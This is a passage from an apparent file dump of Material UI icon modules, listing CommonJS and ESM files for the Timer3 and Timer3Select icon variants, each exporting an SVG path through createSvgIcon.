1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Select.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3Select');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Select.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3Select');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3SelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3SelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12c0 .55-.45 1-1 1h-3v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H16c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5H20c.55 0 1 .45 1 1M4 6.5C4 7.33 4.67 8 5.5 8H10v2.5H5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5H10V16H5.5c-.83 0-1.5.67-1.5 1.5S4.67 19 5.5 19H10c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3H5.5C4.67 5 4 5.67 4 6.5\"\n}), 'Timer3SelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12c0 .55-.45 1-1 1h-3v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H16c-.55 0-1-.45-1-1s.45-1 1-1h3v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5H20c.55 0 1 .45 1 1M4 6.5C4 7.33 4.67 8 5.5 8H10v2.5H5.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5H10V16H5.5c-.83 0-1.5.67-1.5 1.5S4.67 19 5.5 19H10c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3H5.5C4.67 5 4 5.67 4 6.5\"\n}), 'Timer3SelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11v2h-4v1h4v5h-6v-2h4v-1h-4v-5zM4 5v3h6v2.5H4v3h6V16H4v3h9V5z\"\n}), 'Timer3SelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11v2h-4v1h4v5h-6v-2h4v-1h-4v-5zM4 5v3h6v2.5H4v3h6V16H4v3h9V5z\"\n}), 'Timer3SelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3SelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3SelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11v2h-4v1h2.5c.83 0 1.5.68 1.5 1.5v2c0 .83-.67 1.5-1.5 1.5H15v-2h4v-1h-2.5c-.82 0-1.5-.68-1.5-1.5v-2c0-.82.68-1.5 1.5-1.5zM4 5v3h6v2.5H4v3h6V16H4v3h6c1.66 0 3-1.34 3-3v-1.9c0-1.16-.94-2.1-2.1-2.1 1.16 0 2.1-.94 2.1-2.1V8c0-1.66-1.34-3-3-3z\"\n}), 'Timer3SelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.46 10.8q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34m-8.34 5.71c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49\"\n}), 'Timer3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3TwoTone.mjs",
